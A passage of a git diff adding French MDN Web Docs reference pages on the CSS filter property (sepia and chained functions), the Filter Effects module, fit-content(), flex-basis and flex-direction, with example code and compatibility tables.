+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('saturate_example','100%','332px','')}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Voir {{cssxref("filter-function/saturate", "saturate()")}} pour plus d'informations.</p>
+</div>
+
+<h3 id="sepia"><code>sepia()</code></h3>
+
+<p>L'image d'entrée est convertie en sépia. La valeur de l'argument définit la proportion de la conversion. Ainsi, si on utilise un argument égal à 100%, le résultat sera entièrement sépia et si on utilise une valeur de <code>0%</code>, l'image d'entrée sera inchangée. Les valeurs comprises entre <code>0%</code> et <code>100%</code> appliquent l'effet de façon linéaire. La valeur par défaut de l'argument est <code>0</code>.</p>
+
+<pre class="brush: css">filter: sepia(100%)</pre>
+
+<div id="sepia_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_12.jpeg" id="img1" src="/files/3727/Test_Form_12.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_12.jpg" id="img2" src="/files/3727/Test_Form_12.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 259 194"&gt;
+ &lt;filter id="sepia"&gt;
+    &lt;feColorMatrix type="matrix"
+               values="0.393 0.769 0.189 0 0
+                       0.349 0.686 0.168 0 0
+                       0.272 0.534 0.131 0 0
+                       0 0 0 1 0"/&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3727/Test_Form_12.jpeg" filter="url(#sepia)" width="259px" height="194px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_12_s.jpg" id="img4" src="/files/3728/Test_Form_12_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: sepia(100%);
+  -webkit-filter: sepia(100%);
+  -o-filter: sepia(100%);
+  -ms-filter: sepia(100%);
+  filter: sepia(100%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('sepia_example','100%','229px','')}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Voir {{cssxref("filter-function/sepia", "sepia()")}} pour plus d'informations.</p>
+</div>
+
+<h2 id="Enchaîner_les_fonctions">Enchaîner les fonctions</h2>
+
+<p>On peut appliquer autant de fonction que nécessaire pour manipuler le rendu obtenu. Dans l'exemple suivant, on augmente le contraste et la luminosité de l'image :</p>
+
+<pre class="brush: css">filter: contrast(175%) brightness(103%)</pre>
+
+<div id="combination()" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th style="text-align: left;" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_8.jpeg" id="img1" src="/files/3729/Test_Form_8.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_8.jpg" id="img2" src="/files/3729/Test_Form_8.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_8_s.jpg" id="img4" src="/files/3730/Test_Form_8_s.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: contrast(175%) brightness(103%);
+  -webkit-filter: contrast(175%) brightness(103%);
+  -o-filter: contrast(175%) brightness(103%);
+  -ms-filter: contrast(175%) brightness(103%);
+  filter: contrast(175%) brightness(103%);
+}
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('Enchaîner_les_fonctions','100%','209px','')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 1.0', '#FilterProperty', 'filter')}}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.filter")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Applying_SVG_effects_to_HTML_content">Appliquer des effets SVG sur du contenu HTML</a></li>
+ <li>La propriété {{cssxref("mask")}}</li>
+ <li><a href="/fr/docs/Web/SVG">SVG</a></li>
+ <li><a href="https://www.html5rocks.com/en/tutorials/filters/understanding-css/">Un article de HTML5 Rocks : <em>Understanding CSS filters </em>(en anglais)</a></li>
+ <li><a href="https://cssgenerator.org/filter-css-generator.html">Générateur de filtres CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/filter_effects/index.html b/files/fr/web/css/filter_effects/index.html
new file mode 100644
index 0000000000..6c00f5d67d
--- /dev/null
+++ b/files/fr/web/css/filter_effects/index.html
@@ -0,0 +1,65 @@
+---
+title: Filter Effects
+slug: Web/CSS/Filter_Effects
+tags:
+  - Aperçu
+  - CSS
+  - Filter Effects
+  - Reference
+translation_of: Web/CSS/Filter_Effects
+---
+<div>{{CSSRef}}</div>
+
+<p><em><strong>Filter Effects</strong></em> ou « module des effets de filtre » (ou plus communément « filtres CSS ») est un module de la spécification CSS qui définit une façon de traiter le rendu d'un élément avant que celui-ci soit affiché dans le document.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("backdrop-filter")}}</li>
+ <li>{{cssxref("filter")}}</li>
+</ul>
+</div>
+
+<h3 id="Types_de_données">Types de données</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 1.0', '#FilterProperty', 'filter')}}</td>
+   <td>{{ Spec2('Filters 1.0') }}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<h3 id="backdrop-filter"><code>backdrop-filter</code></h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.backdrop-filter")}}</p>
+
+<h3 id="filter"><code>filter</code></h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.filter")}}</p>
diff --git a/files/fr/web/css/filters_effects/index.html b/files/fr/web/css/filters_effects/index.html
new file mode 100644
index 0000000000..a557f7e400
--- /dev/null
+++ b/files/fr/web/css/filters_effects/index.html
@@ -0,0 +1,114 @@
+---
+title: Filters Effects
+slug: Web/CSS/Filters_Effects
+tags:
+  - CSS
+  - Reference
+translation_of: Web/CSS/Filter_Effects
+---
+<div>{{CSSRef}}</div>
+
+<p><em><strong>Filter Effects</strong></em> (ou module des effets de filtre) est un module CSS qui définit une manière de traiter le rendu des éléments avant qu'ils ne soient affichés dans le document.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés_CSS">Propriétés CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("filter")}}</li>
+</ul>
+</div>
+
+<h3 id="Fonctions_CSS">Fonctions CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("filter", "blur()", "#blur()")}}</li>
+ <li>{{cssxref("filter", "brightness()", "#brightness()")}}</li>
+ <li>{{cssxref("filter", "contrast()", "#contrast()")}}</li>
+ <li>{{cssxref("filter", "drop-shadow()", "#drop-shadow()")}}</li>
+ <li>{{cssxref("filter", "grayscale()", "#grayscale()")}}</li>
+ <li>{{cssxref("filter", "hue-rotate()", "#hue-rotate()")}}</li>
+ <li>{{cssxref("filter", "invert()", "#invert()")}}</li>
+ <li>{{cssxref("filter", "opacity()", "#opacity()")}}</li>
+ <li>{{cssxref("filter", "saturate()", "#saturate()")}}</li>
+ <li>{{cssxref("filter", "sepia()", "#sepia()")}}</li>
+ <li>{{cssxref("filter", "url()", "#url()")}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 1.0', '#FilterProperty', 'filter')}}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatChrome("18.0")}}{{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoDesktop(35)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("15.0")}}{{property_prefix("-webkit")}}</td>
+   <td>{{CompatSafari("6.0")}}{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Edge</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simle</td>
+   <td>{{CompatAndroid("4.4")}}{{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoDesktop(35)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>22.0 {{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+   <td>
+    <p>6.0 {{CompatVersionUnknown}}{{property_prefix("-webkit")}}</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/css/fit-content/index.html b/files/fr/web/css/fit-content/index.html
new file mode 100644
index 0000000000..25eeb21a10
--- /dev/null
+++ b/files/fr/web/css/fit-content/index.html
@@ -0,0 +1,110 @@
+---
+title: fit-content()
+slug: Web/CSS/fit-content
+tags:
+  - CSS
+  - Experimental
+  - Fonction
+  - Reference
+  - Web
+translation_of: Web/CSS/fit-content
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La fonction CSS <strong><code>fit-content()</code></strong> permet d'obtenir une dimension restreinte à un intervalle donnée (en utilisant la formule  <code>min(<var>taille maximale</var>, max(<var>taille minimale</var>, <var>argument</var>))</code>.</p>
+
+<pre class="brush: css no-line-numbers">/* Valeurs de type &lt;length&gt; */
+fit-content(200px)
+fit-content(5cm)
+fit-content(30vw)
+fit-content(100ch)
+
+/* Valeurs de type &lt;percentage&gt; */
+fit-content(40%)
+</pre>
+
+<p>Cette fonction peut être utilisée pour définir la taille d'une piste via les propriétés relatives aux grilles CSS où la taille maximale est définie par <code><a href="/fr/docs/Web/CSS/grid-template-columns#max-content">max-content</a></code> et où la taille minimale est définie par <code><a href="/fr/docs/Web/CSS/grid-template-columns#auto">auto</a></code> et qui est calculée de façon similaire à <code>auto</code> (i.e. <code><a href="/fr/docs/Web/CSS/minmax">minmax(auto, max-content)</a></code>), sauf que la taille de la piste est ramenée à <var>argument</var> si celui-ci est supérieur à <code>auto</code>.</p>
+
+<p>Elle peut également être utilisée pour définir la taille d'une boîte avec {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("min-width")}}, {{cssxref("min-height")}}, {{cssxref("max-width")}} et {{cssxref("max-height")}} où la taille maximale fait référence à la taille maximale du contenu et où la taille minimale fait référence à la taille minimale du contenu.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une longueur (valeur de type {{cssxref("&lt;length&gt;")}}) exprimée de façon absolue.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Un pourcentage (valeur de type {{cssxref("&lt;percentage&gt;")}}) relatif à l'espace disponible sur l'axe indiqué (la hauteur ou la largeur).</dd>
+ <dd>Pour les propriétés qui concernent les grilles, le pourcentage est relative à la dimension en ligne du conteneur de la grille pour les pistes qui sont disposées en colonnes et à la dimension en block pour les pistes qui sont disposées en lignes. Sinon, le pourcentage est relatif à la dimension en ligne ou en bloc selon le mode d'écriture utilisé.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[3]">#container {
+  display: grid;
+  grid-template-columns: fit-content(300px) fit-content(300px) 1fr;
+  grid-gap: 5px;
+  box-sizing: border-box;
+  height: 200px;
+  width: 100%;
+  background-color: #8cffa0;
+  padding: 10px;
+}
+
+#container &gt; div {
+  background-color: #8ca0ff;
+  padding: 5px;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+  &lt;div&gt;Item as wide as the content.&lt;/div&gt;
+  &lt;div&gt;
+    Item with more text in it. Because the contents of it are
+    wider than the maximum width, it is clamped at 300 pixels.
+  &lt;/div&gt;
+  &lt;div&gt;Flexible item&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Sizing", "#valdef-width-fit-content-length-percentage", "fit-content()")}}</td>
+   <td>{{Spec2("CSS3 Sizing")}}</td>
+   <td>Définition de la fonction pour les dimensions de boîte avec les propriétés  {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("min-width")}}, {{cssxref("min-height")}}, {{cssxref("max-width")}} et {{cssxref("max-height")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS Grid", "#valdef-grid-template-columns-fit-content", "fit-content()")}}</td>
+   <td>{{Spec2("CSS Grid")}}</td>
+   <td>Définition initiale, la fonction peut être utilisée pour définir la taille d'une piste au sein d'une grille CSS.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.grid-template-columns.fit-content")}}</p>
diff --git a/files/fr/web/css/flex-basis/index.html b/files/fr/web/css/flex-basis/index.html
new file mode 100644
index 0000000000..9e12dbdf85
--- /dev/null
+++ b/files/fr/web/css/flex-basis/index.html
@@ -0,0 +1,209 @@
+---
+title: flex-basis
+slug: Web/CSS/flex-basis
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/flex-basis
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>flex-basis</code></strong> détermine la base de flexibilité utilisée comme taille initiale principale pour un élément flexible. Cette propriété détermine la taille de la boîte de contenu sauf si une autre boîte est visée par {{cssxref("box-sizing")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-basis.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> Dans le cas où <code>flex-basis</code> (avec une valeur différente de <code>auto</code>) et <code>width</code> (ou <code>height</code> si <code>flex-direction: column</code>) sont définis pour un élément, c'est <code>flex-basis</code> qui a la priorité.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css  no-line-numbers">/* On définit une largeur */
+flex-basis: 10em;
+flex-basis: 3px;
+flex-basis: auto;
+
+/* On utilise les dimensions       */
+/* intrinsèques avec des mots-clés */
+flex-basis: fill;
+flex-basis: max-content;
+flex-basis: min-content;
+flex-basis: fit-content;
+
+/* La taille se calcule automatiquement */
+/* en fonction du contenu de l'élément  */
+flex-basis: content;
+
+/* Valeurs globales */
+flex-basis: inherit;
+flex-basis: initial;
+flex-basis: unset;
+</pre>
+
+<p>La propriété <code>flex-basis</code> est définie grâce au mot-clé <code><a href="#content">content</a></code> ou grâce à une valeur de type <code><a href="#width">&lt;'width'&gt;</a></code>.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><a id="width" name="width"><code>&lt;'width'&gt;</code></a></dt>
+ <dd>Un longueur absolue (type {{cssxref("&lt;length&gt;")}} ou un pourcentage (type {{cssxref("&lt;percentage&gt;")}})relatif à la taille principale du conteneur flexible ou encore le mot-clé <code>auto</code>. Les valeurs négatives ne sont pas autorisées. La valeur par défaut est <code>auto</code>.</dd>
+ <dt><a id="content" name="content"><code>content</code></a></dt>
+ <dd>Le dimensionnement se fera de façon automatique selon le contenu de l'élément flexible.</dd>
+ <dd>
+ <div class="note"><strong>Note : </strong>Cette valeur n'était pas définie par la première version de la spécification sur les boîtes flexibles. Aussi, certaines anciennes implémentations se basant sur cette version de la spécification ne prendront pas cette valeur en charge. Un effet équivalent peut être obtenu en réglant la taille principale ({{cssxref("width")}} ou {{cssxref("height")}}) avec <code>auto</code>.</div>
+
+ <div class="note"><strong>Note :</strong> Voici un rapide historique pour cette propriété :
+
+ <ul>
+  <li>Au début, <code>flex-basis:auto</code> signifiait « se référer à ma propriété <code>width</code> ou <code>height</code> »</li>
+  <li>Ensuite, <code>flex-basis:auto</code> a été modifiée pour indiquer un dimensionnement automatique et le mot-clé <code>main-size</code> fut introduit pour faire référence à la propriété <code>width</code> ou <code>height</code>. L'implémentation dans Gecko a été suivie avec le bug {{bug("1032922")}}.</li>
+  <li>Cette modification a été annulée avec le bug {{bug("1093316")}} afin qu'<code>auto</code> fasse à nouveau référence à la propriété <code>height</code> ou <code>width</code>. Le mot-clé <code>content</code> a été introduit pour déclencher un dimensionnement automatique (c'est le bug {{bug("1105111")}} qui couvre cette implémentation).</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul class="container"&gt;
+  &lt;li class="flex flex1"&gt;1: flex-basis test&lt;/li&gt;
+  &lt;li class="flex flex2"&gt;2: flex-basis test&lt;/li&gt;
+  &lt;li class="flex flex3"&gt;3: flex-basis test&lt;/li&gt;
+  &lt;li class="flex flex4"&gt;4: flex-basis test&lt;/li&gt;
+  &lt;li class="flex flex5"&gt;5: flex-basis test&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;ul class="container"&gt;
+  &lt;li class="flex flex6"&gt;6: flex-basis test&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.container {
+  font-family: arial, sans-serif;
+  margin: 0;
+  padding: 0;
+  list-style-type: none;
+  display: flex;
+  flex-wrap: wrap;
+}
+
+.flex {
+  background: #6AB6D8;
+  padding: 10px;
+  margin-bottom: 50px;
+  border: 3px solid #2E86BB;
+  color: white;
+  font-size: 20px;
+  text-align: center;
+  position: relative;
+}
+
+.flex:after {
+  position: absolute;
+  z-index: 1;
+  left: 0;
+  top: 100%;
+  margin-top: 10px;
+  width: 100%;
+  color: #333;
+  font-size: 18px;
+}
+
+.flex1 {
+  flex-basis: auto;
+}
+
+.flex1:after {
+  content: 'auto';
+}
+
+.flex2 {
+  flex-basis: max-content;
+}
+
+.flex2:after {
+  content: 'max-content';
+}
+
+.flex3 {
+  flex-basis: min-content;
+}
+
+.flex3:after {
+  content: 'min-content';
+}
+
+.flex4 {
+  flex-basis: fit-content;
+}
+
+.flex4:after {
+  content: 'fit-content';
+}
+
+.flex5 {
+   flex-basis: content;
+}
+
+.flex5:after {
+  content: 'content';
+}
+
+.flex6 {
+  flex-basis: fill;
+}
+
+.flex6:after {
+  content: 'fill';
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '860', '360')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#propdef-flex-basis', 'flex-basis')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.flex-basis")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("width")}}</li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">Les concepts de bases</a></em></li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Contrôler_les_proportions_des_boîtes_flexibles_le_long_de_l_axe_principal">Contrôler les proportions des boîtes flexibles le long de l'axe principal</a></em></li>
+</ul>
diff --git a/files/fr/web/css/flex-direction/index.html b/files/fr/web/css/flex-direction/index.html
new file mode 100644
index 0000000000..7c21fc1d64
--- /dev/null
+++ b/files/fr/web/css/flex-direction/index.html
@@ -0,0 +1,150 @@
+---
+title: flex-direction
+slug: Web/CSS/flex-direction
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/flex-direction
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>flex-direction</code></strong> définit la façon dont les éléments flexibles sont placés dans un conteneur flexible : elle définit l'axe principal et la direction des éléments (normale ou inversée).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-direction.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>On notera que les valeurs <code>row</code> et <code>row-reverse</code> sont impactées par la direction du conteneur. Si {{htmlattrxref("dir")}} vaut <code>ltr</code>, <code>row</code> représente l'axe horizontal allant de la gauche vers la droite et <code>row-reverse</code> représente le même axe allant de la droite vers la gauche. Si <code>dir</code> vaut <code>rtl</code>, <code>row</code> correspondra à l'axe horizontal orienté de la droite vers la gauche et <code>row-reverse</code> de la gauche vers la droite.</p>
+
+<p>Pour plus d'informations, voir la page <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Utilisation_des_flexbox_en_CSS">Utiliser les boîtes flexibles (<em>flexbox</em>) CSS</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* La direction suit une ligne */
+flex-direction: row;
+
+/* Semblable à &lt;row&gt; mais dans */
+/* la direction opposée        */
+flex-direction: row-reverse;
+
+/* Les lignes de texte sont */
+/* empilées                 */
+flex-direction: column;
+
+/* Semblable à &lt;column&gt; mais dans */
+/* la direction opposée           */
+flex-direction: column-reverse;
+
+/* Valeurs globales */
+flex-direction: inherit;
+flex-direction: initial;
+flex-direction: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>row</code></dt>
+ <dd>L'axe principal du conteneur flexible suit la direction du texte. Les points <strong>main-start</strong> et <strong>main-end</strong> vont dans la même direction que le contenu.</dd>
+ <dt><code>row-reverse</code></dt>
+ <dd>L'axe principal du conteneur flexible suit la direction du texte. Les points <strong>main-start</strong> et <strong>main-end</strong> vont dans la direction opposée au contenu.</dd>
+ <dt><code>column</code></dt>
+ <dd>L'axe principal du conteneur flexible suit l'axe de bloc (perpendiculaire à la direction du texte). Les points <strong>main-start</strong> et <strong>main-end</strong> correspondent aux points <strong>before</strong> et <strong>after</strong> de {{cssxref("writing-mode")}}.</dd>
+ <dt><code>column-reverse</code></dt>
